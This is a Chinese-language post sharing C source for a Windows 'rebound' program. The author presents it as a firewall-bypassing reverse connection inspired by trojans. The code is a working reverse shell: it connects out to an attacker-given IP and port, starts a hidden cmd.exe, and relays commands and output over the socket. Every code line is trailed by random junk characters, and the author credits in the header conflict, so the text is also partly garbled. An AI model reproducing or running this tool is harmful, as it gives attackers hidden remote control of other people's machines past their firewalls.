这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K$B~vy6E`
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/* ============================== F+j"bhe
Rebound port in Windows NT B~J63Os/
By wind,2006/7 @;KvUR/+FE
===============================*/ Dz/MIx
#include 8Qj1%Ri:U
#include 9[DlJ@T}
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#pragma comment(lib,"wsock32.lib") Z&=Oe^
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void OutputShell(); f9+6gY
SOCKET sClient; madbl0[y.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r=p^~tuyxr
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void main(int argc,char **argv) }_H\75Iv
{ U-U(_W5&
WSADATA stWsaData; kf#S"[/E
int nRet; NzN"_o jM
SOCKADDR_IN stSaiClient,stSaiServer; Zv?"1Y< L
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if(argc != 3) I|;C}lfp
{ m9]Ge]
printf("Useage:\n\rRebound DestIP DestPort\n"); Rm6i[y&
return; oZdY0n h4
} (E~6fb"c
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WSAStartup(MAKEWORD(2,2),&stWsaData); zsR5"Vi=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #&?}h)Jr'
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stSaiClient.sin_family = AF_INET; _'^_9u G
stSaiClient.sin_port = htons(0); jE8}Ho_#)
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vs
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H\a\xCP3
{ :)kHXOb.
printf("Bind Socket Failed!\n"); _::ssnG3jT
return; @hrIu" '!
} ikb77?.
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stSaiServer.sin_family = AF_INET; @=Dc(5`[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `DM)tm3&m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y##lFEt
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s0Z)BR #
{ }r;=<mc,O
printf("Connect Error!"); YN7`18u
return; kjXwVGK=P<
} s?4nR:ZC}
OutputShell(); r`RLDN!`
} .RyuWh!5
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void OutputShell() +oHbAPs8
{ T[c-E*{hR
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; zz(EH<>
OSVERSIONINFO stOsversionInfo; ;>F1?5P{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y0m?ZVt
STARTUPINFO stStartupInfo; yJ6g{#X4K<
char *szShell; fr$6&HDZ9
PROCESS_INFORMATION stProcessInformation; ;vbMC74J#
unsigned long lBytesRead; ""_B3'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ] ;CJ6gM~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; <:mK&quf
stSecurityAttributes.bInheritHandle = TRUE; <(yAat$H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ! CJ*zZ*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3UKd=YsJ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G)_Zls2;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1K R4Wq@
stStartupInfo.wShowWindow = SW_HIDE; <(V~eo
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stStartupInfo.hStdInput = hReadPipe; ,WM-%2z^4I
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lvNi/jk
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GetVersionEx(&stOsversionInfo); _N>#/v)Yi
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switch(stOsversionInfo.dwPlatformId) e~cg
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{ VWzuV&;P
case 1: b):aqRwP
szShell = "command.com"; ;18u02z^
break; /E i e5p
default: |2rOV&@l9
szShell = "cmd.exe"; +Yc@<$4
break; wjgF e]
} \'iy(8i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9wO2`e )
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send(sClient,szMsg,77,0); v(Sh+p
while(1) ?,%PemN
{ aygK$.wos
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W"CG&.
if(lBytesRead) PAxR?2m{
{ 'fk6]&-I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^\Q%VTM
send(sClient,szBuff,lBytesRead,0);
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} )UVekkq>Q
else j'hWhLax
{ \=&Z_6Mu
lBytesRead=recv(sClient,szBuff,1024,0); Gi2Fjq/Y
if(lBytesRead<=0) break; *Tr{a_{~C
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?8U]UM6Tu4
} OjqT5<U
} EQ|Wke
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return; Kxz|0l
}